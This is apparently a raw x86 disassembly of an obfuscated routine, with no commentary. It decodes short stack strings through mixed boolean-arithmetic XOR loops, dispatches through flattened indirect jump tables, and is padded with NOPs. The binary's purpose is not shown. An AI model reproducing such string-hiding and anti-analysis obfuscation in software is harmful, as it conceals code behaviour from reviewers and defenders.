mov eax, dword [esp + 0xb4]
add al, 0xa3
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 7
jb 0x412640
lea esi, [esp + 0x48]
push esi
push ebx
call fcn.00404480
add esp, 8
mov dword [esp + 0x18], eax
mov word [esp + 0x48], 0x49c6
mov word [edi + 4], 0
mov dword [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 7
ja 0x412724
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0xd0985212
and eax, 0xd0985212
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xa6
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 8
jb 0x4126e0
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404480
add esp, 8
mov edi, dword [esp + 0x18]
test edi, edi
sete dl
test eax, eax
sete cl
or cl, dl
movzx ecx, cl
jmp dword [ecx*4 + 0x4489f8]
mov ecx, edi
mov edx, edi
mov ebx, ecx
inc ecx
cmp byte [ebx], 0
jne 0x412750
mov dword [esp + 0x14], eax
xor esi, esi
cmp ebx, edx
jbe case.0x4101ab.212
cmp byte [edx], 0
je case.0x4101ab.212
xor esi, esi
mov edi, dword [esp + 0x18]
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push ebx
push edi
call fcn.00410690
add esp, 0xc
lea ecx, [edi + eax]
inc esi
cmp ecx, ebx
jae case.0x4101ab.212
cmp byte [edi + eax], 0
mov edi, ecx
jne 0x412770
mov eax, esi
inc eax
lea eax, [esi + esi + 2]
jns 0x4127a5
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + esi*2]
mov esi, eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x1c], ecx
cmp eax, ecx
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
jae 0x412d8b
mov esi, dword [esp + 0x44]
cmp edi, ebx
jae 0x412d8b
mov esi, dword [esp + 0x44]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x412d8b
lea eax, [esp + 0x48]
push eax
push ebx
push edi
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [esi], cx
add esi, 2
cmp esi, dword [esp + 0x1c]
jae 0x412d87
add edi, eax
cmp edi, ebx
mov eax, dword [esp + 0x14]
jb 0x4127f0
jmp 0x412d8b
mov word [esp + 0x48], 0x7f4
mov byte [edi + 4], 0
mov dword [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 6
ja 0x41289e
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0x1df09741
and eax, 0x1df09741
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
mov ecx, eax
xor ecx, 0x45
and eax, 0x3a
add eax, eax
sub eax, ecx
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 7
jb 0x412850
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404480
add esp, 8
mov dword [esp + 0x18], eax
mov word [esp + 0x48], 0x4bca
mov byte [edi + 4], 0
mov dword [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 6
ja 0x412919
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0xed8fb373
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xc1
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 7
jb 0x4128e0
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404480
add esp, 8
mov edi, dword [esp + 0x18]
test edi, edi
sete dl
test eax, eax
sete cl
or cl, dl
movzx ecx, cl
jmp dword [ecx*4 + 0x448a70]
mov ecx, edi
mov edx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ecx
inc ecx
cmp byte [ebx], 0
jne 0x412950
mov dword [esp + 0x1c], eax
xor edi, edi
cmp ebx, edx
jbe 0x412997
cmp byte [edx], 0
je 0x412997
xor edi, edi
mov esi, dword [esp + 0x18]
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push ebx
push esi
call fcn.00410690
add esp, 0xc
lea ecx, [esi + eax]
inc edi
cmp ecx, ebx
jae 0x412997
cmp byte [esi + eax], 0
mov esi, ecx
jne 0x412970
mov eax, edi
inc eax
lea eax, [edi + edi + 2]
jns 0x4129a5
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + edi*2]
mov edi, eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
jae 0x413277
mov edi, dword [esp + 0x24]
cmp esi, ebx
jae 0x413277
mov edi, dword [esp + 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi], 0
je 0x413277
lea eax, [esp + 0x48]
push eax
push ebx
push esi
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [edi], cx
add edi, 2
cmp edi, dword [esp + 0x14]
jae 0x413273
add esi, eax
cmp esi, ebx
mov eax, dword [esp + 0x1c]
jb 0x4129f0
jmp 0x413277
sete al
movzx eax, al
jmp dword [eax*4 + 0x448858]
jmp dword [0x448864]
mov word [esp + 0x48], 0x39a8
mov byte [edi + 2], 0
mov word [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x412ab5
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0x923cff0a
and eax, 0x123cff0a
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
mov ecx, edx
not ecx
and ecx, eax
add ecx, eax
not eax
and eax, edx
sub eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xce
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x412a60
push 2
lea eax, [esp + 0x4c]
push eax
push ebx
call fcn.00404700
add esp, 0xc
jmp case.0x410d60.61
push 2
lea eax, [esp + 0x4c]
push eax
push ebx
call fcn.00404700
add esp, 0xc
jmp dword [0x44886c]
mov word [esp + 0x48], 0x39a8
mov byte [edi + 2], 0
mov word [edi], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 4
ja 0x412ad0
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0x923cff0a
and eax, 0x123cff0a
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
mov ecx, edx
not ecx
and ecx, eax
add ecx, eax
not eax
and eax, edx
sub eax, ecx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add al, 0xce
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 5
jb 0x412b10
jmp 0x412ad0
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448870]
mov word [esp + 0xb4], 0x8935
lea eax, [esp + 0xb6]
mov word [eax + 4], 0
mov dword [eax], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 7
ja 0x412bf5
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0xb4]
mov edx, eax
xor edx, 0x8141dd62
and eax, 0x141dd62
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
mov ecx, edx
not ecx
and ecx, eax
add ecx, eax
not eax
and eax, edx
sub eax, ecx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add al, 0x16
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0xb4], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 8
jb case.default.0x412c0f
push 5
lea eax, [esp + 0xb8]
push eax
push ebx
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448878]
mov word [esp + 4], 0xf17a
lea eax, [esp + 6]
mov byte [eax + 2], 0
mov word [eax], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 4
ja 0x412ca1
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
movzx eax, byte [esp + eax + 4]
mov edx, ecx
or edx, 0xf38e66d3
mov esi, ecx
not esi
or esi, 0xc71992c
and esi, edx
not esi
and ecx, 0xc71992c
lea ecx, [esi + ecx*2]
lea edx, [ecx + eax]
and ecx, eax
add ecx, ecx
sub edx, ecx
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x20]
mov ecx, eax
xor ecx, 0xdc
and eax, 0x23
add eax, eax
sub eax, ecx
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 4], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 5
jb 0x412c40
push 2
lea eax, [esp + 8]
push eax
push ebx
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448880]
mov word [esp + 0x38], 0x3b90
lea eax, [esp + 0x3a]
mov byte [eax + 2], 0
mov word [eax], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 4
ja 0x412d53
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
movzx eax, byte [esp + eax + 0x38]
lea edx, [ecx + ecx]
and edx, 0x8aba3416
mov esi, ecx
sub esi, edx
mov edx, ecx
xor edx, 0x3aa2e5f4
or ecx, 0x455d1a0b
and ecx, edx
lea edx, [esi + ecx*2]
lea ecx, [esi + ecx*2]
add ecx, 0xc55d1a0b
add edx, eax
add edx, 0xc55d1a0b
and ecx, eax
add ecx, ecx
sub edx, ecx
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x20]
add al, 0xc9
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x38], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 5
jb 0x412cf0
push 3
lea eax, [esp + 0x3c]
push eax
push ebx
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448888]
mov eax, dword [case.0x4101ab.118]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp case.0x41293a.1
mov eax, dword [esp + 0x14]
mov word [esi], 0
lea edi, [eax - 1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + 1], 0
lea edi, [edi + 1]
jne 0x412da0
xor ebx, ebx
cmp eax, edi
jae case.0x4101ab.213
cmp byte [eax], 0
je case.0x4101ab.213
xor ebx, ebx
mov esi, dword [esp + 0x14]
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push edi
push esi
call fcn.00410690
add esp, 0xc
lea ecx, [esi + eax]
inc ebx
cmp ecx, edi
jae case.0x4101ab.213
cmp byte [esi + eax], 0
mov esi, ecx
jne 0x412dc0
mov eax, ebx
inc eax
lea eax, [ebx + ebx + 2]
jns 0x412df5
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + ebx*2]
mov esi, eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], ecx
cmp eax, ecx
mov ebx, dword [esp + 0x14]
jae 0x412e5b
mov esi, dword [esp + 0x24]
cmp ebx, edi
jae 0x412e5b
mov esi, dword [esp + 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx], 0
je 0x412e5b
lea eax, [esp + 0x48]
push eax
push edi
push ebx
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [esi], cx
add esi, 2
cmp esi, dword [esp + 0x1c]
jae 0x412e5b
add ebx, eax
cmp ebx, edi
jb 0x412e30
mov word [esi], 0
mov word [esp + 0x48], 0x977b
mov byte [esp + 0x4a], 0x1e
mov word [esp + 0x4b], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x412ec9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x2c837f05
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xe7
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x412e90
lea eax, [esp + 0x48]
push eax
push dword [ebp + 8]
call fcn.00404550
add esp, 8
xor ecx, ecx
mov dword [esp + 0x28], eax
test eax, eax
setne cl
mov dword [esp + 0x18], 0
xor ebx, ebx
lea edi, [esp + 0x4a]
jmp dword [ecx*4 + 0x448a00]
lea esi, [esp + 0x48]
mov ecx, esi
push 2
call fcn.0040ce30
push dword [esp + 0x18]
push ebx
push dword [esp + 0x2c]
mov edi, dword [esp + 0x50]
push edi
push esi
call fcn.004199e0
add esp, 0x14
mov ecx, esi
call fcn.0040d760
movzx eax, al
jmp dword [eax*4 + 0x448a30]
mov eax, dword [esp + 0x4c]
shr eax, 0xa
push 0xa
push 0xb
lea ecx, [esp + 0xc]
push ecx
push eax
call fcn.00418f30
add esp, 0x10
mov dword [esp + 0x20], 0x8388434b
mov dword [esp + 0x38], 0
mov ecx, dword [esp + 0x38]
cmp ecx, 3
ja 0x412fb2
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x38]
movzx esi, byte [esp + edx + 0x20]
lea edx, [ecx + esi]
add edx, 0x452108e0
add ecx, 0x452108e0
and ecx, esi
mov esi, edx
not esi
and esi, ecx
add esi, ecx
not ecx
and ecx, edx
sub ecx, esi
mov dword [esp + 0xb4], ecx
mov ecx, dword [esp + 0xb4]
add cl, 0xa0
mov edx, dword [esp + 0x38]
mov byte [esp + edx + 0x20], cl
inc dword [esp + 0x38]
mov ecx, dword [esp + 0x38]
cmp ecx, 4
jb 0x412f60
mov dword [esp + 0xb4], 0xc7c4d0e9
mov dword [esp + 0xb8], 0x25e5c9d9
mov dword [esp + 0xbc], 0xd5d5dcde
mov dword [esp + 0xc0], 0x31de23db
mov dword [esp + 0xc4], 0x2237db2d
mov dword [esp + 0xc8], 0x28d62b2a
mov dword [esp + 0xcc], 0x22233d2c
mov dword [esp + 0xd0], 0xcd3d2427
mov dword [esp + 0xd4], 0x3c37343c
mov dword [esp + 0xd8], 0x29c62b33
mov dword [esp + 0xdc], 0x392ec335
mov dword [esp + 0xe0], 0x613ff3b
mov dword [esp + 0xe4], 0x17011112
mov dword [esp + 0xe8], 0x41af7cc
mov dword [esp + 0xec], 0xf1060c18
mov dword [esp + 0xf0], 0x18131000
mov dword [esp + 0xf4], 0x4ea0717
mov dword [esp + 0xf8], 0xc31d011f
mov dword [esp + 0xfc], 0x83e4
mov dword [esp + 0x30], 0
mov ecx, dword [esp + 0x30]
cmp ecx, 0x4b
ja 0x4130e6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x30]
movzx edx, byte [esp + edx + 0xb4]
mov esi, ecx
xor esi, 0xfc4e7af3
and ecx, 0xfc4e7af3
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x38]
add cl, 0x41
mov edx, dword [esp + 0x30]
mov byte [esp + edx + 0xb4], cl
inc dword [esp + 0x30]
mov ecx, dword [esp + 0x30]
cmp ecx, 0x4c
jb 0x4130a0
lea ecx, [0x44d367]
nop
nop
nop
nop
cmp byte [ecx + 1], 0
lea ecx, [ecx + 1]
jne 0x4130f0
movzx edx, byte [esp + 0xb4]
test dl, dl
je 0x413122
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx + esi], dl
movzx edx, byte [esp + esi + 0xb5]
inc esi
test dl, dl
jne 0x413110
add ecx, esi
mov byte [ecx], 0
movzx edx, byte [eax]
test dl, dl
je 0x41313b
inc eax
nop
nop
nop
mov byte [ecx], dl
inc ecx
movzx edx, byte [eax]
inc eax
test dl, dl
jne 0x413130
mov byte [ecx], 0
movzx eax, byte [esp + 0x20]
test al, al
je 0x41315b
lea edx, [esp + 0x21]
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x413150
mov byte [ecx], 0
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x448a38]
jmp dword [0x448a60]
push dword [esp + 0x24]
call fcn.0040c480
add esp, 4
jmp dword [0x448a68]
push dword [esp + 0x28]
call fcn.00404760
add esp, 4
mov ecx, eax
mov dword [esp + 0x18], eax
mov ecx, 0xc
mul ecx
seto dl
mov ecx, 0xffffffff
mov esi, 0xffffffff
add eax, 4
jb 0x4131b1
mov esi, eax
test dl, dl
jne 0x4131b7
mov ecx, esi
push ecx
call fcn.0040c470
add esp, 4
mov ecx, dword [esp + 0x18]
mov dword [eax], ecx
add eax, 4
mov dword [esp + 0x2c], eax
xor eax, eax
test ecx, ecx
sete al
jmp dword [eax*4 + 0x448a08]
mov eax, dword [esp + 0x18]
lea eax, [eax + eax*2]
mov edx, dword [esp + 0x2c]
lea eax, [edx + eax*4]
mov ecx, dword [case.0x412745.7]
jmp ecx
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x448a38]
lea esi, [ebx - 4]
mov eax, dword [ebx - 4]
lea ecx, [eax + eax*2]
lea edi, [ebx + ecx*4]
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x448a50]
push esi
call fcn.0040c480
add esp, 4
mov edi, dword [esp + 0x44]
jmp dword [0x448a60]
jmp dword [0x448a68]
push edi
call fcn.0040c480
add esp, 4
jmp case.0x41391e.57
add edi, 0xfffffff4
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x448a58]
mov eax, dword [edi - 0xc]
test eax, eax
je 0x413261
push eax
call fcn.0040c480
add esp, 4
mov eax, dword [edi - 8]
test eax, eax
je 0x413240
push eax
call fcn.0040c480
add esp, 4
jmp 0x413240
mov eax, dword [esp + 0x1c]
mov word [edi], 0
xor esi, esi
mov edi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add edi, 2
cmp byte [eax + esi], 0
lea esi, [esi + 1]
jne 0x413290
lea eax, [edi + 2]
test esi, esi
jns 0x4132a8
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0x48], 0
add edi, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x40], eax
cmp eax, edi
mov ecx, dword [esp + 0x1c]
jae 0x413325
lea ebx, [ecx + esi]
dec ebx
mov eax, dword [esp + 0x40]
mov dword [esp + 0x14], eax
cmp ecx, ebx
jae 0x413325
mov eax, dword [esp + 0x40]
mov dword [esp + 0x14], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ecx], 0
je 0x413325
lea eax, [esp + 0x48]
push eax
push ebx
push ecx
mov esi, ecx
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov edx, dword [esp + 0x14]
mov word [edx], cx
add edx, 2
mov dword [esp + 0x14], edx
cmp edx, edi
jae 0x413325
add esi, eax
cmp esi, ebx
mov ecx, esi
jb 0x4132f0
mov eax, dword [esp + 0x14]
mov word [eax], 0
mov word [esp + 0x48], 0x918d
mov byte [esp + 0x4a], 0x16
lea eax, [esp + 0x4a]
mov byte [eax + 3], 0
mov word [eax + 1], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 5
ja 0x4133b8
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x48]
mov edx, ecx
not edx
or edx, 0x8eada06
add edx, ecx
xor ecx, 0x8eada06
lea ecx, [ecx + edx*2]
add ecx, 2
xor ecx, eax
mov dword [esp + 0xb4], ecx
mov eax, dword [esp + 0xb4]
mov ecx, eax
not ecx
and ecx, 0x1e
and eax, 0xe1
sub eax, ecx
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 6
jb 0x413360
lea esi, [esp + 0x48]
push esi
push dword [ebp + 8]
call fcn.00404550
add esp, 8
xor ecx, ecx
mov dword [esp + 0x2c], eax
test eax, eax
setne cl
xor ebx, ebx
mov dword [esp + 0x28], 0
jmp dword [ecx*4 + 0x448a78]
lea esi, [esp + 0x48]
mov ecx, esi
push 3
call fcn.0040ce30
push dword [esp + 0x28]
push ebx
push dword [esp + 0x48]
push dword [esp + 0x30]
push esi
call fcn.0041e330
add esp, 0x14
mov ecx, esi
call fcn.0040d760
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x448a98]
lea esi, [ebx - 4]
mov eax, dword [ebx - 4]
lea ecx, [eax + eax*2]
lea edi, [ebx + ecx*4]
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x448aa0]
push esi
call fcn.0040c480
add esp, 4
jmp dword [0x448ab0]
jmp dword [0x448ab8]
push dword [esp + 0x40]
call fcn.0040c480
add esp, 4
lea ecx, [esp + 0x48]
call fcn.0040ce70
jmp case.0x41293a.1
add edi, 0xfffffff4
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x448aa8]
mov eax, dword [edi - 0xc]
test eax, eax
je 0x413470
push eax
call fcn.0040c480
add esp, 4
jmp 0x413470
push dword [esp + 0x2c]
call fcn.00404760
add esp, 4
mov ecx, eax
mov dword [esp + 0x28], eax
mov ecx, 0xc
mul ecx
seto dl
mov ecx, 0xffffffff
mov esi, 0xffffffff
add eax, 4
jb 0x4134c0
mov esi, eax
test dl, dl
jne 0x4134c6
mov ecx, esi
push ecx
call fcn.0040c470
add esp, 4
mov ebx, eax
mov ecx, dword [esp + 0x28]
mov dword [eax], ecx
add ebx, 4
xor eax, eax
test ecx, ecx
sete al
mov dword [esp + 0x44], ebx
jmp dword [eax*4 + 0x448a80]
mov eax, dword [esp + 0x28]
lea eax, [eax + eax*2]
lea eax, [ebx + eax*4]
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
lea ecx, [ebx + 0xc]
xor edx, edx
cmp ecx, eax
sete dl
jmp dword [edx*4 + 0x448a88]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
add ecx, 0xc
xor edx, edx
cmp ecx, eax
sete dl
jmp dword [edx*4 + 0x448a88]
xor ecx, ecx
xor eax, eax
cmp ecx, dword [esp + 0x28]
setb al
jmp dword [eax*4 + 0x448a90]
mov word [ecx], 0
mov ecx, dword [esp + 0x1c]
inc ecx
xor eax, eax
cmp ecx, dword [esp + 0x28]
setb al
mov ebx, dword [esp + 0x44]
jmp dword [eax*4 + 0x448a90]
mov dword [esp + 0x1c], ecx
push ecx
push dword [esp + 0x30]
call fcn.00404770
add esp, 8
mov edi, eax
mov word [esp + 0x48], 0xe1eb
mov byte [esp + 0x4a], 0x4e
mov word [esp + 0x4b], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x41360e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0x29a0d2ed
mov esi, eax
xor esi, 0x565f2d12
or eax, 0x29a0d2ed
and eax, esi
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x5f
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x4135c0
lea esi, [esp + 0x48]
push esi
push edi
call fcn.00404480
add esp, 8
mov dword [esp + 0x18], eax
mov word [esp + 0x48], 0xa79d
mov byte [esp + 0x4a], 0x3e
mov word [esp + 0x4b], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x4136b2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0xe08c51ca
and eax, 0xe08c51ca
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
mov ecx, edx
xor ecx, eax
add ecx, eax
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
mov ecx, eax
not ecx
and ecx, 0xf2
and eax, 0xd
sub eax, ecx
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x413650
push esi
push edi
call fcn.00404480
add esp, 8
mov dword [esp + 0x14], eax
mov dword [esp + 4], 0xba2f1f
mov dword [esp + 0xb4], 0
mov eax, dword [esp + 0xb4]
cmp eax, 3
ja 0x41372d
nop
mov eax, dword [esp + 0xb4]
mov ecx, dword [esp + 0xb4]
movzx ecx, byte [esp + ecx + 4]
mov edx, eax
xor edx, 0x741df75f
and eax, 0xf41df75f
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x48]
add al, 0x25
mov ecx, dword [esp + 0xb4]
mov byte [esp + ecx + 4], al
inc dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
cmp eax, 4
jb 0x4136e0
lea eax, [esp + 4]
push eax
push edi
call fcn.00404480
add esp, 8
mov ecx, dword [esp + 0x1c]
lea ecx, [ecx + ecx*2]
mov dword [ebx + ecx*4], 0
mov edx, dword [esp + 0x18]
mov dword [ebx + ecx*4 + 4], edx
lea edi, [ebx + ecx*4]
mov dword [ebx + ecx*4 + 8], eax
xor esi, esi
mov ebx, 0xfffffffe
mov eax, dword [esp + 0x14]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 2
cmp byte [eax + esi], 0
lea esi, [esi + 1]
jne 0x413770
test esi, esi
jns 0x413790
mov eax, 0xffffffff
jmp 0x413793
lea eax, [ebx + 2]
push eax
call fcn.0040c470
add esp, 4
mov ecx, eax
mov dword [edi], eax
mov eax, dword [esp + 0x14]
lea edi, [eax + esi]
dec edi
mov dword [esp + 0x48], 0
cmp edi, eax
jbe 0x413560
add ebx, ecx
cmp ecx, ebx
jae 0x413560
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax], 0
je 0x413560
mov dword [esp + 0x14], ecx
lea ecx, [esp + 0x48]
push ecx
push edi
push eax
mov esi, eax
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov edx, dword [esp + 0x14]
mov word [edx], cx
mov ecx, dword [esp + 0x14]
add ecx, 2
cmp ecx, ebx
jae 0x413560
add esi, eax
cmp esi, edi
mov eax, esi
jb 0x4137d0
jmp 0x413560
jmp dword [0x448ab0]
push dword [esp + 0x24]
call fcn.0040c480
add esp, 4
jmp dword [0x448ab8]
jmp dword [0x448890]
jmp dword [0x448954]
push dword [esp + 0x2c]
call fcn.0040c480
add esp, 4
jmp dword [0x4488f0]
not eax
shr eax, 0x1f
lea ebx, [esp + 0xb4]
jmp dword [eax*4 + 0x448980]
mov ecx, dword [esp + 0x24]
mov eax, ecx
mov esi, eax
inc eax
cmp byte [esi], 0
jne 0x413865
mov edx, esi
sub edx, ecx
mov eax, edx
and eax, 1
mov dword [esp + 0x40], edx
mov ecx, edx
xor ecx, 1
lea edi, [ecx + eax*2]
lea eax, [edi + edi]
test edi, edi
jns 0x41388e
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + edi*2]
add ecx, 0xfffffffe
mov ebx, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
mov edi, dword [esp + 0x24]
jae 0x4138ee
mov ebx, dword [esp + 0x1c]
cmp edi, esi
jae 0x4138ee
mov ebx, dword [esp + 0x1c]
cmp byte [edi], 0
je 0x4138ee
lea eax, [esp + 0x48]
push eax
push esi
push edi
call fcn.00410690
add esp, 0xc
